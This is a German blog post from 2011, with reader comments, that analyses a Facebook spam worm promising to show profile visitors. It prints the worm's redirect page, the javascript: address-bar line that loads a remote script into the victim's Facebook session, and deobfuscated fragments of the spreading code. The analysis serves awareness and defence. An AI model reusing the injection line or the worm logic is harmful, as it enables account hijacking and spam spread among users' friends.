Der Facebook Spam-Wurm: WOW Besucher des Profils sehen

Geschrieben von Fabian Benik | 24. April 2011 - 12:28

23

23.04.2011, Ostern und 20 Veranstaltungseinladungen bei Facebook. So fing es gestern bei mir an. Bei so viel Einladungen also ab zu Facebook.

 

Na herzlichen Glückwunsch! 20 x die selbe Veranstaltung… ein Spam-Wurm. Nachdem ich gestern sowieso wenig zu tun hatte und mir nach etwas Beschäftigung war schaute ich mir das ganze etwas näher an. Sehr auffällig war natürlich die URL im Event: “http://216.119.153.147/spy.php”. Kann ja schon nichts gutes verheißen.

Beim Aufruf der Seite landet man je nach Land auf einer blogspot.com Seite, die wie folgt aussieht:

Auf dieser Seite bekommt man eine Schritt für Schritt Anleitung, wie man seine Profil Besucher sehen kann. Im ersten Schritt soll man ein Javascript kopieren und dies – wenn man bei Facebook eingeloggt ist – in die Adressleiste des Browsers kopieren, anschließend mit Enter ausführen. Hier sollten meines Erachtens auch Personen mit keinem Hintergrundwissen stutzig werden und dies NICHT tun. Aber die ganzen Veranstaltungseinladungen sprechen für sich. Nach einer kurzen Wartezeit sieht man dann “seine Profil Besucher”.

So viel zur Geschichte. Als erstes war ich neugierig was allgemein hinter der IP (216.119.153.147) steckt. Mit der Eingabe in den Browser kam ich auf eine serverseitige Auflistung des Verzeichnisses. Super! Also einmal kurz alle Dateien auf die Festplatte geschoben und der Spaß kann anfangen. Ich hatte mir die Beschaffung der einzelnen Dateien wirklich schwieriger vorgestellt :)

<head>
<title>Your CPA Page Redirecting..</title>
<script language=”javascript” src=”http://j.maxmind.com/app/geoip.js”></script>
</head>
<body>
<script language=”javascript”>
var country = geoip_country_code();
switch (country)
{
case (country = “CA”):
window.location = “http://who-sees-en.blogspot.com/”;
break;
case (country = “DE”):
window.location = “http://german-spy.blogspot.com/”;
break;
case (country = “ES”):
window.location = “http://spanish-landing.blogspot.com/”;
break;
default:
window.location = “http://216.24.202.125/othercpa.php/”;
break;
}
</script>
</body>

Das ist die spy.php, die jeder bei Klick aufruft. Was passiert ist nicht wirklich wild. Anhand der aufrufenden IP-Adresse wird das entsprechende Land ermittelt und auf die bereits oben erwähnten blogspot.com Seiten weitergeleitet. Aber im title-Tag sieht man etwas viel schöneres! “CPA”.

Cost per Action (CPA) ist ein Abrechnungsmodell für die Kosten, die bei einer Online-Werbung anfallen und zwar sind es die Kosten mit der eine gewünschte Aktion ausgelöst werden. (Quelle)

Nun gut, nachdem ich wusste, dass der Ersteller mit Klicks Geld machen will (was nicht wirklich verwunderlich war) habe ich mir das Javascript für die Adresszeile näher angeschaut.

javascript: (a = (b = document).createElement(‘script’)).src = ‘//iamedwards.com/german.php?’ + Math.random(),
b.body.appendChild(a);
void(0)

Alles was passiert ist, dass ein Javascript von der fett markierten Seite in der Seite von Facebook eingefügt wird. Dieses Script habe ich mir auch vom Server geladen und werde es mir gleich ansehen. Vorher noch kurz einen Blick auf die Domain des Scripts. Eine kurze Whois Abfrage ergab:

Domain Name………. iamedwards.com
Organisation Name…. zeynep hakimoglu
Organisation Address. PO Box 61359
Organisation Address. Sunnyvale
Organisation Address. 94088
Organisation Address. CA
Organisation Address. US

Admin Name……….. Admin PrivateRegContact
Admin Address…….. registered post accepted only
Admin Email………. contact@myprivateregistration.com

Tech Name………… TECH PrivateRegContact
Tech Address……… registered post accepted only
Tech Email……….. contact@myprivateregistration.com

Eine weitere Domain, die ich in den PHP-Skripten fand war “impressionpromotion.info”. Auch hier gab eine kurze Whois Abfrage Aufschluss:

Domain Name: IMPRESSIONPROMOTION.INFO
Registrant Name:Registration Private
Registrant Organization:Domains by Proxy, Inc.
Registrant Street1:DomainsByProxy.com
Registrant City:Scottsdale
Registrant State/Province:Arizona
Registrant Email: IMPRESSIONPROMOTION.INFO@domainsbyproxy.com

Beides zeigt keine wirklichen Angaben. Lediglich die beiden Firmen konnte ich erfahren. Ein Blick auf domainsbyproxy.com und ich war schlauer. Sowas kann es auch nur wieder außerhalb Deutschlands geben. Firmen, die gegen Bezahlung Domains für einen anonym registrieren und absolut sinnfreie Informationen in die Registration geben. Nun gut, da komme ich also nicht weiter, aber das war auch nicht mein Ziel. Ich wollte sehen welches Javascript bei Facebook mit eingebunden wird.

var _0x8a40=["%firstname% wow facebook now lets you see who views your profile! check it out @ ow.ly/4Fvck","My Top Profile Viewers: \n\ %tf% - 1136 views \n\ %tf% - 983 views \n\ %tf% - 542 views \n\ %tf% - 300 views \n\ See who viewed your profile @ http://216.119.148.83/spy.php","http://216.24.202.125/othercpa.php","See your Facebook stalkers here: http://216.119.153.147/spy.php yes it really works","WOW now you can see all your facebook profile stalkers!!!","\x68\x72\x65\x66","\x6C\x6F\x63\x61\(...)

Je nach Sprache kam ein jeweilig richtig übersetztes Skript zurück. Was man auf den ersten Blick sehen kann: es stehen festgeschriebene Anzahlen an Besuchen dort. Lediglich die Namen scheinen variabel zu sein. Also - wie zu erwarten - nix mit echten Profil-Besuchen. Nach wenigen Zeilen ist der Lesespaß aber auch schon vorbei! Es folgen unmengen an "\x68\x72\x65\x66" Zeichensätzen. Nennen wir es vorerst mal banales Obfuscating.

Nachdem ich den Javascript-Code formatiert hatte sah die Welt schon etwas besser aus:

var _0x8a40 = [
...
"\x74\x6F\x70", // 7
"\x47\x45\x54", // 8
"\x6F\x70\x65\x6E", // 9
...
];

var chatmessage = _0x8a40[0];
var postmessage = _0x8a40[1];
var redirect = _0x8a40[2];
var eventdesc = _0x8a40[3];
var eventname = _0x8a40[4];
var nfriends = 5000;
var debug = false;
var wf = 0;

var mf = function ()
{
if(wf<=0)
{

} ;
} ;

var doget = function (_0x93d3xb,_0x93d3xc,_0x93d3xd)
{

_0x8a40 ist wohl ein Array mit 105 Einträgen. Na super, da kommt Freude auf! Der Ersteller hat sich ganz schön Mühe gegeben. Hier könnt ihr das Orginal-Script downloaden. Hier das formatierte-Script. Nun gut, damit man wirklich etwas lesen kann komme ich zurück zum banalen Obfuscating. Warum banal? Es ist kein wirkliches Obfuscating! Der Ersteller hat lediglich ASCII Zeichen in Hexadezimal Zeichen umgewandelt. Sprich aus z.B. “href” wird “\x68\x72\x65\x66″. Macht den ganzen Code auf den ersten Blick nur etwas schwer zu lesen aber ich denke mehr wollte der Ersteller auch nicht erreichen. Kurz einen kleinen HTML/Javascript Konverter geschrieben und los geht das wilde übersetzen.Nachdem ich alles übersetzt hatte sah das Array schon viel besser aus:

var _0x8a40 = [
...
"href", // 5
"location", // 6
"top", // 7
"GET", // 8
"open", // 9
"onreadystatechange", // 10
"readyState", // 11
"status", // 12
"responseText", // 13
...
];

Hier das leserliche-Script. Jetzt nur noch jeden Array-Eintrag in den Code übertragen und man sollte es ausreichend lesen können. Ja, bis auf die Funktions- & Variablennamen sieht das Script jetzt schon sehr leserlich aus. Was passiert also alles? Grob erstellt das Script einen Layer, der einem mitteilt, dass man warten soll. Im Hintergrund holt sich das Script den eigenen Benutzernamen und die Namen der Freunde. Danach erstellt das Script eine Neue Veranstaltung und läd zig Freunde zu dieser Veranstaltung ein. Zusätzlich wird der Pinnwandeintrag, über den die Leute sich so freuen, erstellt, Benutzernamen der Freunde werden eingefügt und sowohl bei einem selbst als auch bei den Freunden wird dieser Pinnwandeintrag eingestellt. Auf das letzte “Feature” des Scripts kam ich während ich noch am Übersetzen des Arrays war. Plötzlich tauchten Chat-Nachrichten mit den gleichen Inhalten auf. (“Wow…”) Das ist wie gesagt das letzte “Feature”. Das Script ermittelt alle Freunde, die im Chat online sind und die, mit denen man gerade schreibt. Die offenen Chats bekommen dann die oben beschriebene Nachricht.

Ganz schön viel Aufwand für nur ein paar Klicks. Ich dachte wirklich, da steckt noch mehr dahinter als nur Klick-Generierung aber der Ersteller wird mit sicherheit schon gutes Geld mit den Klicks verdient haben. Hätte mich ehrlich gesagt gefreut wenn noch mehr zum Finden da gewesen wäre… Malware, Spyware, aber vielleicht beim nächsten Mal :)

Zum Abschluss noch kurz ein paar Worte zur Sicherheit. Ein gewisses Grundverständnis setze ich einfach mal voraus. Einem sollte klar sein, dass man nicht einfach irgendeinen fremden Code in die Browserleiste kopiert. Ich bin sicher, bei Facebooks “Datenschutz” wäre ein Passwort-Klau auch möglich gewesen. Aber es hätten auch nur bei Anklicken des Events oder Aufruf der URL schon schädliche Scripte ausgeführt werden können, ohne das man selbst einen Code kopiert und ausführt. Deshalb für die, die das Firefox Plugin noch nicht installiert haben die kurze Empfehlung von NoScript. NoScript ist ein Firefox Plugin, das jede Ausführung von Javascripts blockiert. Man kann mit einfachen Klicks bestimmen welchen Seiten man vertraut und welchen nicht. Die Scripts, der als vertrauenswürdig eingestuften Seiten, werden beim nächsten Aufruf der Seite dann nicht mehr blockiert.

Das war meine Oster-Beschäftigung. In diesem Sinne frohe Ostern!

Comments posted (23)

Danke für den ausführlichen Bericht und die investierte Debugging-Arbeit!

Geil.
Gute arbeit ! ^.^

Durch Zufall auf diesen Beitrag gestoßen. Sehr interessant, danke !

Cool

Super Artikel!

Danke für die sehr ausführliche Darstellung und Erklärung, und vorallem für die Auflösung des Codes, wird sicher vielen weiterhelfen.

Und die Leute die beim klicken nich denken werder erleichtert sein :P

Hallo,

bin darauf reingefallen. Was kann ich tun, was habe ich zu befürchten?

Sehr schön informiert. Danke dafür :)

Danke für die Mühe und die umfangreiche Analyse.

Das das ganze nur eine Scam-Aktion sein kann war mir klar, danke für die genauen Nachforschungen. Bin auch von Passwortklau/Malware ausgegangen, aber der Webmaster war ja in dem Sinne noch recht “human” :D

Das ist mal richtig schön recherchiert und aufbereitet!
Super Arbeit hast du da geleistet!
Danke!!

[...] Ein kleiner Artikel gefunden auf blog.web-elements.de [...]

schöne Recherche

[...] zu sehen wer das eigene Profil betrachtet hat. Der Hintergrund ist aber ein ganz, ganz anderer. Im Web-Elements Blog wurde durch Fabian Benink so ein “Facebook Wurm” genauer betrachtet und sehr genau [...]

In meiner Version war der Code nicht verschleiert, deshalb konnte ich schon beim ersten Auftauchen recht gut feststellen was da läuft. Chatmessage – Postmessage – Eventmessage waren auch hier die drei Stufen.

Nebenbei: Die Namen die ausgesucht werden werden durch ein simples Math.Random() ausgewählt, das fünf Mal hintereinander aufgerufen wird. Dabei kommen (oh Wunder) fünf nahe beieinanderliegende Namen bei rum. Wer als nicht gemerkt hat, dass alle Namen mit A,B oder C beginnen und zusätzlich immer die selben Zahlen dort stehen, der ist selbst Schuld.

Gestohlen werden die Nutzerdaten in meiner Version aber glücklicherweise nicht. Das wäre bei Chatzugriff womöglich auch möglich gewesen.

danke

Super arbeit!

Die Mühe mit dem Konverter hättest dir schenken können, auf jsbeautifier.org gibst du einfach das Script ein und der entpackt dir das und formatierts dir noch schön.

Erbärmlich finde ich aber, dass Facebook von den Spamwellen weiß und NICHTS dagegen tut. Die Domains sind mit zwei Minuten Reverse Engineering rauszubekommen, und die Texte sind immer die gleichen. Regex drüber und fertig.

Achja, hab gestern Nacht noch Blogspot auf die verwendeten “Blogs” aufmerksam gemacht. Die nutzen eklige Tricks, um zu verhindern dass die Leute die blogspot.com-Headerbar mit dem “Missbrauch melden” sehen und klicken können, aber Firebug sei Dank… :D

Super Erläuterung.
Ich hatte auch eine Einladung bekommen zu sowas bekommen: Siehe:http://www.facebook.com/pages/Profile-Statistik/207285095958177?sk=app_197936773558886%3F30881

Ich war aber bis jetzt zu Faul mir das anzuschauen. Ich hatte nur gesehen, dass man die Besucherzahlen mit einer Random FUnktion generiert.

Hey!
Guter Artikel! Hatte mir letztens auch mal die Mühe gemacht so eine “App” nachzuvollziehen.
Wollte dazu nur anmerken: Für viele Spiele wie Mafia Wars oder Farmville gibt es einen riesigen Haufen an “Cheats”, die eben über das Kopieren von JavaScript-Code und Ausführen in der Browserleiste funktionieren, daher ist die Hemmschwelle beim Ausführen von fremden Code leider arg gesenkt. Leider!
Ich hoffe, dass deinen Blogbeitrag auch Leute lesen, die technisch nicht allzu versiert sind und daraufhin etwas sensibler werden!

[...] Eine große Katastrophe ist eigentlich wie ein Tisch im Bierzelt: Lässt uns näher zusammenrücken, hebt die Standesgrenzen auf und zeigt am Ende, dass wir alle nur Menschen sind. Bei der katastrophalen „Spamwelle“ die sich laut den Chronisten von „Kronehit“ seit Ostern als Nummer-Eins-Ärgernis über Facebook ergießt, ist es genauso. Wir hängen da irgendwie alle mit drin. Ausgelöst wurde sie ja durch ein gemeines, kleines Versprechen in der Facebook-Postbox oder auf der Pinnwand, demnach sich jetzt gleich in Erfahrungen bringen ließe, wer so alles heimlich auf dem eigenen Profil herumsurft. Was für üble Machenschaften hinter diesem verlockenden Angebot stecken und wie es technisch funktioniert, zeigt dieser lesenswerte Blogeintrag. [...]

[...] Analyse des Wurms im Blog Web Elements (Quelle) [...]

[...] Hier der Link [...]

Wirklich interessant. Danke für die Auseinandernahme des Wurms. :)

Write a comment